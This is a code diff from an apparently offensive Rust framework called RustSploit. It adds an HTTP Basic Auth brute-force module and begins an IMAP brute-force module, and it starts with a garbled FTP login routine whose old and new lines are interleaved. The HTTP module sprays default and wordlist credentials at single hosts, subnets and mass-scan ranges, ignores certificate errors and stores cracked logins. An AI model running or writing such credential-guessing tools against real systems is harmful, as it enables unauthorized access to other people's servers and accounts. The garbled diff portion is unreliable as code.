match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncFtpStream::connect(addr)).await {
|
||||
Ok(Ok(mut ftp)) => {
|
||||
match ftp.login(user, pass).await {
|
||||
Ok(_) => {
|
||||
let _ = ftp.quit().await;
|
||||
if let Err(e) = ftp.quit().await { crate::meprintln!("[!] FTP quit error: {}", e); }
|
||||
return Ok(true);
|
||||
}
|
||||
Err(e) => {
|
||||
let msg = e.to_string();
|
||||
match FtpErrorType::classify_error(&msg) {
|
||||
FtpErrorType::AuthenticationFailed => {
|
||||
return Ok(false);
|
||||
}
|
||||
FtpErrorType::TlsRequired => {
|
||||
if verbose { println!("[i] {} - Plain FTP login indicated TLS required. Attempting FTPS...", addr); }
|
||||
}
|
||||
FtpErrorType::AuthenticationFailed => return Ok(false),
|
||||
FtpErrorType::TlsRequired => { if let Err(e) = ftp.quit().await { crate::meprintln!("[!] FTP quit error: {}", e); } }
|
||||
FtpErrorType::ConnectionLimitExceeded => {
|
||||
println!("[-] {} - Server reported too many connections. Sleeping briefly...", addr);
|
||||
sleep(Duration::from_secs(2)).await;
|
||||
return Ok(false);
|
||||
}
|
||||
_ => {
|
||||
if verbose {
|
||||
println!("[!] FTP login error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
|
||||
}
|
||||
return Err(anyhow!("FTP login error: {}", msg));
|
||||
sleep(Duration::from_secs(1)).await;
|
||||
return Err(anyhow!("Connection limit exceeded (421)"));
|
||||
}
|
||||
_ => return Err(anyhow!("FTP login error: {}", msg)),
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
let msg = e.to_string();
|
||||
match FtpErrorType::classify_error(&msg) {
|
||||
FtpErrorType::TlsRequired => {
|
||||
if verbose { println!("[i] {} - Plain FTP connection indicated TLS required. Attempting FTPS...", addr); }
|
||||
}
|
||||
FtpErrorType::ConnectionLimitExceeded => {
|
||||
println!("[-] {} - Server reported too many connections during connect. Sleeping briefly...", addr);
|
||||
sleep(Duration::from_secs(2)).await;
|
||||
return Ok(false);
|
||||
}
|
||||
FtpErrorType::ConnectionFailed => {
|
||||
if verbose {
|
||||
println!("[!] FTP connection failed to {} ({}:{}): {}", addr, user, pass, msg);
|
||||
}
|
||||
return Err(anyhow!("FTP connection failed: {}", msg));
|
||||
}
|
||||
_ => {
|
||||
if verbose {
|
||||
println!("[!] FTP connection error to {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
|
||||
}
|
||||
return Err(anyhow!("FTP connection error: {}", msg));
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(_) => {
|
||||
if verbose {
|
||||
println!("[!] FTP connection timeout to {} ({}:{})", addr, user, pass);
|
||||
}
|
||||
return Err(anyhow!("FTP connection timeout"));
|
||||
}
|
||||
Ok(Err(e)) => return Err(e.into()),
|
||||
Err(_) => return Err(anyhow!("Timeout")),
|
||||
}
|
||||
|
||||
// FTPS fallback: connect and upgrade to TLS
|
||||
// FTPS fallback
|
||||
if verbose {
|
||||
println!("[i] {} Attempting FTPS login for user '{}'", addr, user);
|
||||
crate::mprintln!(" [v] {} — trying FTPS (TLS)...", addr);
|
||||
}
|
||||
let mut ftp_tls = match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncNativeTlsFtpStream::connect(addr)).await {
|
||||
Ok(Ok(s)) => s,
|
||||
_ => return Err(anyhow!("FTPS Connect failed")),
|
||||
};
|
||||
|
||||
let mut ftp_tls = timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncNativeTlsFtpStream::connect(addr))
|
||||
.await
|
||||
.map_err(|_| {
|
||||
if verbose {
|
||||
println!("[!] FTPS connection timeout to {} ({}:{})", addr, user, pass);
|
||||
}
|
||||
anyhow!("FTPS connection timeout")
|
||||
})?
|
||||
.map_err(|e| {
|
||||
if verbose {
|
||||
println!("[!] FTPS base connect failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e);
|
||||
}
|
||||
anyhow!("FTPS base connect failed: {}", e)
|
||||
})?;
|
||||
|
||||
// Build a connector that accepts invalid certs/hostnames (as original code did)
|
||||
let connector = AsyncNativeTlsConnector::from(
|
||||
TlsConnector::new()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.danger_accept_invalid_hostnames(true),
|
||||
);
|
||||
|
||||
// Domain for TLS: extract clean hostname without brackets (IPv6) or port
|
||||
let domain = target
|
||||
.trim_start_matches('[')
|
||||
.split(&[']', ':'][..])
|
||||
.next()
|
||||
.unwrap_or(target);
|
||||
let domain = if target.starts_with('[') {
|
||||
target.trim_start_matches('[').split(']').next().unwrap_or(target)
|
||||
} else {
|
||||
target.split(':').next().unwrap_or(target)
|
||||
};
|
||||
|
||||
ftp_tls = ftp_tls
|
||||
.into_secure(connector, domain)
|
||||
.await
|
||||
.map_err(|e| {
|
||||
if verbose {
|
||||
println!("[!] TLS upgrade failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e);
|
||||
}
|
||||
anyhow!("TLS upgrade failed: {}", e)
|
||||
})?;
|
||||
ftp_tls = match ftp_tls.into_secure(connector, domain).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => return Err(anyhow!("TLS Upgrade: {}", e)),
|
||||
};
|
||||
|
||||
match ftp_tls.login(user, pass).await {
|
||||
Ok(_) => {
|
||||
let _ = ftp_tls.quit().await;
|
||||
if let Err(e) = ftp_tls.quit().await { crate::meprintln!("[!] FTP quit error: {}", e); }
|
||||
Ok(true)
|
||||
}
|
||||
Err(e) => {
|
||||
let msg = e.to_string();
|
||||
match FtpErrorType::classify_error(&msg) {
|
||||
match FtpErrorType::classify_error(&e.to_string()) {
|
||||
FtpErrorType::AuthenticationFailed => Ok(false),
|
||||
_ => {
|
||||
if verbose {
|
||||
println!("[!] FTPS error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
|
||||
}
|
||||
Err(anyhow!("FTPS error: {}", msg))
|
||||
}
|
||||
_ => Err(anyhow!("FTPS Error: {}", e)),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,512 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use std::io::Write;
|
||||
use std::net::IpAddr;
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::utils::{
|
||||
load_lines, get_filename_in_current_dir, normalize_target,
|
||||
cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_int_range,
|
||||
cfg_prompt_output_file,
|
||||
};
|
||||
use crate::utils::{
|
||||
BruteforceConfig, LoginResult, SubnetScanConfig,
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
run_bruteforce, run_subnet_bruteforce,
|
||||
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
|
||||
};
|
||||
|
||||
// ============================================================================
|
||||
// Constants
|
||||
// ============================================================================
|
||||
|
||||
const DEFAULT_HTTP_PORT: u16 = 80;
|
||||
const DEFAULT_HTTPS_PORT: u16 = 443;
|
||||
|
||||
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("admin", "admin"),
|
||||
("admin", "password"),
|
||||
("admin", "1234"),
|
||||
("admin", "12345"),
|
||||
("admin", "123456"),
|
||||
("admin", ""),
|
||||
("root", "root"),
|
||||
("root", "password"),
|
||||
("root", "toor"),
|
||||
("root", ""),
|
||||
("user", "user"),
|
||||
("user", "password"),
|
||||
("test", "test"),
|
||||
("guest", "guest"),
|
||||
("manager", "manager"),
|
||||
];
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "HTTP Basic Auth Brute Force".to_string(),
|
||||
description: "Brute-force HTTP Basic Authentication using username/password wordlists. \
|
||||
Supports HTTPS with invalid certificate acceptance, default credential testing, \
|
||||
combo mode, concurrent connections, and subnet/mass scanning.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Error Classification
|
||||
// ============================================================================
|
||||
|
||||
#[derive(Debug, Clone, PartialEq)]
|
||||
enum HttpErrorType {
|
||||
AuthenticationFailed,
|
||||
ConnectionRefused,
|
||||
ConnectionTimeout,
|
||||
TlsError,
|
||||
Unknown,
|
||||
}
|
||||
|
||||
impl HttpErrorType {
|
||||
fn classify_error(msg: &str) -> Self {
|
||||
let lower = msg.to_lowercase();
|
||||
if lower.contains("401") || lower.contains("403") || lower.contains("unauthorized") {
|
||||
Self::AuthenticationFailed
|
||||
} else if lower.contains("refused")
|
||||
|| lower.contains("reset")
|
||||
|| lower.contains("broken pipe")
|
||||
{
|
||||
Self::ConnectionRefused
|
||||
} else if lower.contains("timeout")
|
||||
|| lower.contains("timed out")
|
||||
|| lower.contains("deadline")
|
||||
{
|
||||
Self::ConnectionTimeout
|
||||
} else if lower.contains("tls")
|
||||
|| lower.contains("ssl")
|
||||
|| lower.contains("certificate")
|
||||
|| lower.contains("handshake")
|
||||
{
|
||||
Self::TlsError
|
||||
} else {
|
||||
Self::Unknown
|
||||
}
|
||||
}
|
||||
|
||||
fn is_retryable(&self) -> bool {
|
||||
matches!(self, Self::ConnectionRefused | Self::ConnectionTimeout | Self::Unknown)
|
||||
}
|
||||
|
||||
fn description(&self) -> &'static str {
|
||||
match self {
|
||||
Self::AuthenticationFailed => "Authentication failed",
|
||||
Self::ConnectionRefused => "Connection refused/reset",
|
||||
Self::ConnectionTimeout => "Connection timed out",
|
||||
Self::TlsError => "TLS/SSL error",
|
||||
Self::Unknown => "Unknown error",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug)]
|
||||
struct HttpError {
|
||||
error_type: HttpErrorType,
|
||||
message: String,
|
||||
}
|
||||
|
||||
impl std::fmt::Display for HttpError {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
write!(f, "[{}] {}", self.error_type.description(), self.message)
|
||||
}
|
||||
}
|
||||
|
||||
impl std::error::Error for HttpError {}
|
||||
|
||||
impl HttpError {
|
||||
fn from_string(msg: String) -> Self {
|
||||
let error_type = HttpErrorType::classify_error(&msg);
|
||||
Self { error_type, message: msg }
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Module Entry Point
|
||||
// ============================================================================
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
crate::mprintln!("\n{}", "=== HTTP Basic Auth Bruteforce Module (RustSploit) ===".bold().cyan());
|
||||
crate::mprintln!();
|
||||
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
crate::mprintln!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
|
||||
let use_https = cfg_prompt_yes_no("use_https", "Use HTTPS?", false).await?;
|
||||
let url_path = cfg_prompt_default("url_path", "URL path to test", "/").await?;
|
||||
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "HTTP-Basic",
|
||||
default_port: if use_https { DEFAULT_HTTPS_PORT } else { DEFAULT_HTTP_PORT },
|
||||
state_file: "http_basic_hose_state.log",
|
||||
default_output: "http_basic_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
}, move |ip: IpAddr, port: u16| {
|
||||
let url_path = url_path.clone();
|
||||
async move {
|
||||
// Quick TCP check
|
||||
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(3)).await {
|
||||
return None;
|
||||
}
|
||||
|
||||
let scheme = if use_https { "https" } else { "http" };
|
||||
let base_url = format!("{}://{}:{}{}", scheme, ip, port, url_path);
|
||||
|
||||
// First check if endpoint requires Basic auth (401 response)
|
||||
let client = match reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(5))
|
||||
.build()
|
||||
{
|
||||
Ok(c) => c,
|
||||
Err(_) => return None,
|
||||
};
|
||||
|
||||
match client.get(&base_url).send().await {
|
||||
Ok(resp) if resp.status().as_u16() == 401 => {
|
||||
// Basic auth required, try defaults
|
||||
}
|
||||
_ => return None, // No auth required or unreachable
|
||||
}
|
||||
|
||||
let creds: &[(&str, &str)] = &[
|
||||
("admin", "admin"),
|
||||
("admin", "password"),
|
||||
("root", "root"),
|
||||
("admin", "1234"),
|
||||
("admin", ""),
|
||||
("root", ""),
|
||||
];
|
||||
for (user, pass) in creds {
|
||||
match client
|
||||
.get(&base_url)
|
||||
.basic_auth(user, Some(pass))
|
||||
.send()
|
||||
.await
|
||||
{
|
||||
Ok(resp) if resp.status().as_u16() == 200 => {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
{
|
||||
let id = crate::cred_store::store_credential(
|
||||
&ip.to_string(),
|
||||
port,
|
||||
"http-basic",
|
||||
user,
|
||||
pass,
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/http_basic_credcheck",
|
||||
).await;
|
||||
if id.is_none() { crate::meprintln!("[!] Failed to store credential"); }
|
||||
}
|
||||
return Some(format!("[{}] {}:{}:{}:{}\n", ts, ip, port, user, pass));
|
||||
}
|
||||
_ => continue,
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
|
||||
|
||||
let use_https = cfg_prompt_yes_no("use_https", "Use HTTPS?", false).await?;
|
||||
let default_port = if use_https { DEFAULT_HTTPS_PORT } else { DEFAULT_HTTP_PORT };
|
||||
let port = cfg_prompt_int_range("port", "Port", default_port as i64, 1, 65535).await? as u16;
|
||||
let url_path = cfg_prompt_default("url_path", "URL path to test", "/").await?;
|
||||
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file("output_file", "Output result file", "http_basic_subnet_results.txt").await?;
|
||||
|
||||
let subnet_client = Arc::new(reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.redirect(reqwest::redirect::Policy::none())
|
||||
.timeout(Duration::from_secs(5))
|
||||
.build()
|
||||
.map_err(|e| anyhow!("Failed to build HTTP client: {}", e))?);
|
||||
|
||||
return run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "http-basic",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/http_basic_credcheck",
|
||||
skip_tcp_check: false,
|
||||
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
let url_path = url_path.clone();
|
||||
let client = Arc::clone(&subnet_client);
|
||||
async move {
|
||||
let scheme = if use_https { "https" } else { "http" };
|
||||
let url = format!("{}://{}:{}{}", scheme, ip, port, url_path);
|
||||
match try_http_login(&client, &url, &user, &pass).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => {
|
||||
let he = HttpError::from_string(e.to_string());
|
||||
LoginResult::Error {
|
||||
message: he.message,
|
||||
retryable: he.error_type.is_retryable(),
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
let use_https = cfg_prompt_yes_no("use_https", "Use HTTPS?", false).await?;
|
||||
let default_port = if use_https { DEFAULT_HTTPS_PORT } else { DEFAULT_HTTP_PORT };
|
||||
let port = cfg_prompt_int_range("port", "Port", default_port as i64, 1, 65535).await? as u16;
|
||||
let url_path = cfg_prompt_default("url_path", "URL path to test", "/").await?;
|
||||
|
||||
let use_defaults = cfg_prompt_yes_no("use_defaults", "Try default credentials first?", true).await?;
|
||||
|
||||
let usernames_file = if cfg_prompt_yes_no("use_username_wordlist", "Use username wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let passwords_file = if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
|
||||
return Err(anyhow!("At least one wordlist or default credentials must be enabled"));
|
||||
}
|
||||
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent tasks", 10, 1, 256).await? as usize;
|
||||
let connection_timeout = cfg_prompt_int_range("timeout", "Connection timeout (seconds)", 5, 1, 60).await? as u64;
|
||||
let retry_on_error = cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
|
||||
let max_retries = if retry_on_error {
|
||||
cfg_prompt_int_range("max_retries", "Max retries per attempt", 2, 1, 10).await? as usize
|
||||
} else {
|
||||
0
|
||||
};
|
||||
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(cfg_prompt_output_file("output_file", "Output file", "http_basic_brute_results.txt").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
let scheme = if use_https { "https" } else { "http" };
|
||||
let base_url = format!("{}://{}:{}{}", scheme, target, port, url_path);
|
||||
let connect_addr = normalize_target(&format!("{}:{}", target, port))
|
||||
.unwrap_or_else(|_| format!("{}:{}", target, port));
|
||||
|
||||
crate::mprintln!("\n{}", format!("[*] Starting brute-force on {} ({})", connect_addr, base_url).cyan());
|
||||
|
||||
// Load wordlists
|
||||
let mut usernames = Vec::new();
|
||||
if let Some(ref file) = usernames_file {
|
||||
usernames = load_lines(file)?;
|
||||
if usernames.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Username wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} usernames", usernames.len()).green());
|
||||
}
|
||||
}
|
||||
|
||||
let mut passwords = Vec::new();
|
||||
if let Some(ref file) = passwords_file {
|
||||
passwords = load_lines(file)?;
|
||||
if passwords.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} passwords", passwords.len()).green());
|
||||
}
|
||||
}
|
||||
|
||||
// Add default credentials if requested
|
||||
if use_defaults {
|
||||
for (user, pass) in DEFAULT_CREDENTIALS {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
if !passwords.contains(&pass.to_string()) {
|
||||
passwords.push(pass.to_string());
|
||||
}
|
||||
}
|
||||
crate::mprintln!("{}", format!("[*] Added {} default credentials", DEFAULT_CREDENTIALS.len()).green());
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames available"));
|
||||
}
|
||||
if passwords.is_empty() {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
|
||||
let shared_client = Arc::new(reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.redirect(reqwest::redirect::Policy::none())
|
||||
.timeout(Duration::from_secs(connection_timeout))
|
||||
.build()
|
||||
.map_err(|e| anyhow!("Failed to build HTTP client: {}", e))?);
|
||||
|
||||
let try_login = move |_t: String, _p: u16, user: String, pass: String| {
|
||||
let url = base_url.clone();
|
||||
let client = Arc::clone(&shared_client);
|
||||
async move {
|
||||
match try_http_login(&client, &url, &user, &pass).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => {
|
||||
let he = HttpError::from_string(e.to_string());
|
||||
LoginResult::Error {
|
||||
message: he.message,
|
||||
retryable: he.error_type.is_retryable(),
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(&BruteforceConfig {
|
||||
target: target.to_string(),
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 0,
|
||||
max_retries,
|
||||
service_name: "http-basic",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/http_basic_credcheck",
|
||||
}, combos, try_login).await?;
|
||||
|
||||
result.print_found();
|
||||
if let Some(ref path) = save_path {
|
||||
result.save_to_file(path)?;
|
||||
}
|
||||
|
||||
// Unknown / errored attempts
|
||||
if !result.errors.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored HTTP responses.",
|
||||
result.errors.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if cfg_prompt_yes_no("save_unknown_responses", "Save unknown responses to file?", true).await? {
|
||||
let default_name = "http_basic_unknown_responses.txt";
|
||||
let fname = cfg_prompt_output_file(
|
||||
"unknown_responses_file",
|
||||
"What should the unknown results be saved as?",
|
||||
default_name,
|
||||
).await?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
match opts.open(&filename) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# HTTP Basic Auth Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in &result.errors {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
file.flush()?;
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Could not create unknown response file '{}': {}",
|
||||
filename.display(),
|
||||
e
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// HTTP Basic Auth Login Attempt
|
||||
// ============================================================================
|
||||
|
||||
/// Attempt HTTP Basic Auth login.
|
||||
/// Returns Ok(true) on 200 (success), Ok(false) on 401/403 (auth failed),
|
||||
/// Err on connection/protocol errors.
|
||||
async fn try_http_login(
|
||||
client: &reqwest::Client,
|
||||
url: &str,
|
||||
user: &str,
|
||||
pass: &str,
|
||||
) -> Result<bool> {
|
||||
let response = client
|
||||
.get(url)
|
||||
.basic_auth(user, Some(pass))
|
||||
.send()
|
||||
.await
|
||||
.map_err(|e| anyhow!("HTTP request failed: {}", e))?;
|
||||
|
||||
let status = response.status().as_u16();
|
||||
match status {
|
||||
200..=299 => Ok(true),
|
||||
401 | 403 => Ok(false),
|
||||
301 | 302 | 303 | 307 | 308 => {
|
||||
// Only count redirect as success if it doesn't point to a login/auth page
|
||||
if let Some(location) = response.headers().get("location") {
|
||||
let loc = location.to_str().unwrap_or("").to_lowercase();
|
||||
if loc.contains("login") || loc.contains("auth") || loc.contains("signin") || loc.contains("sso") {
|
||||
Ok(false) // Redirect to login page = auth failed
|
||||
} else {
|
||||
Ok(true) // Redirect to non-login page = likely success
|
||||
}
|
||||
} else {
|
||||
Err(anyhow!("HTTP {} redirect with no Location header", status))
|
||||
}
|
||||
}
|
||||
_ => Err(anyhow!("HTTP {}", status)),
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,591 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use native_tls::TlsConnector;
|
||||
use std::io::{Read, Write};
|
||||
use std::net::IpAddr;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::utils::{
|
||||
load_lines, get_filename_in_current_dir,
|
||||
cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_int_range,
|
||||
cfg_prompt_output_file,
|
||||
};
|
||||
use crate::utils::{
|
||||
BruteforceConfig, LoginResult, SubnetScanConfig,
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
run_bruteforce, run_subnet_bruteforce,
|
||||
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
|
||||
backoff_delay,
|
||||
};
|
||||
|
||||
// ============================================================================
|
||||
// Constants
|
||||
// ============================================================================
|
||||
|
||||
const DEFAULT_IMAP_PORT: u16 = 143;
|
||||
const DEFAULT_IMAPS_PORT: u16 = 993;
|
||||
|
||||
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("admin", "admin"),
|
||||
("admin", "password"),
|
||||
("admin", "123456"),
|
||||
("admin", ""),
|
||||
("root", "root"),
|
||||
("root", "password"),
|
||||
("user", "user"),
|
||||
("user", "password"),
|
||||
("test", "test"),
|
||||
("guest", "guest"),
|
||||
("info", "info"),
|
||||
("mail", "mail"),
|
||||
("postmaster", "postmaster"),
|
||||
];
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "IMAP Brute Force".to_string(),
|
||||
description: "Brute-force IMAP authentication using raw TCP protocol with TLS/IMAPS \
|
||||
support. Sends IMAP LOGIN commands, handles greeting banners, and supports \
|
||||
default credential testing, combo mode, concurrent connections, and subnet/mass \
|
||||
scanning.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![
|
||||
"https://datatracker.ietf.org/doc/html/rfc3501".to_string(),
|
||||
],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Error Classification
|
||||
// ============================================================================
|
||||
|
||||
#[derive(Debug, Clone, PartialEq)]
|
||||
enum ImapErrorType {
|
||||
AuthenticationFailed,
|
||||
ConnectionRefused,
|
||||
ConnectionTimeout,
|
||||
TlsError,
|
||||
ProtocolError,
|
||||
Unknown,
|
||||
}
|
||||
|
||||
impl ImapErrorType {
|
||||
fn classify_error(msg: &str) -> Self {
|
||||
let lower = msg.to_lowercase();
|
||||
if lower.contains("authentication")
|
||||
|| lower.contains("login")
|
||||
|| lower.contains("invalid credential")
|
||||
|| lower.contains("a001 no")
|
||||
{
|
||||
Self::AuthenticationFailed
|
||||
} else if lower.contains("refused")
|
||||
|| lower.contains("reset")
|
||||
|| lower.contains("broken pipe")
|
||||
{
|
||||
Self::ConnectionRefused
|
||||
} else if lower.contains("timeout")
|
||||
|| lower.contains("timed out")
|
||||
|| lower.contains("deadline")
|
||||
{
|
||||
Self::ConnectionTimeout
|
||||
} else if lower.contains("tls")
|
||||
|| lower.contains("ssl")
|
||||
|| lower.contains("certificate")
|
||||
|| lower.contains("handshake")
|
||||
{
|
||||
Self::TlsError
|
||||
} else if lower.contains("protocol") || lower.contains("unexpected") || lower.contains("banner") {
|
||||
Self::ProtocolError
|
||||
} else {
|
||||
Self::Unknown
|
||||
}
|
||||
}
|
||||
|
||||
fn is_retryable(&self) -> bool {
|
||||
matches!(self, Self::ConnectionRefused | Self::ConnectionTimeout | Self::Unknown)
|
||||
}
|
||||
|
||||
fn description(&self) -> &'static str {
|
||||
match self {
|
||||
Self::AuthenticationFailed => "Authentication failed",
|
||||
Self::ConnectionRefused => "Connection refused/reset",
|
||||
Self::ConnectionTimeout => "Connection timed out",
|
||||
Self::TlsError => "TLS/SSL error",
|
||||
Self::ProtocolError => "Protocol error",
|
||||
Self::Unknown => "Unknown error",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug)]
|
||||
struct ImapError {
|
||||
error_type: ImapErrorType,
|
||||
message: String,
|
||||
}
|
||||
|
||||
impl std::fmt::Display for ImapError {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
write!(f, "[{}] {}", self.error_type.description(), self.message)
|
||||
}
|
||||
}
|
||||
|
||||
impl std::error::Error for ImapError {}
|
||||
|
||||
impl ImapError {
|
||||
fn from_anyhow(err: anyhow::Error) -> Self {
|
||||
let msg = err.to_string();
|
||||
let error_type = ImapErrorType::classify_error(&msg);
|
||||
Self { error_type, message: msg }
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Module Entry Point
|
||||
// ============================================================================
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
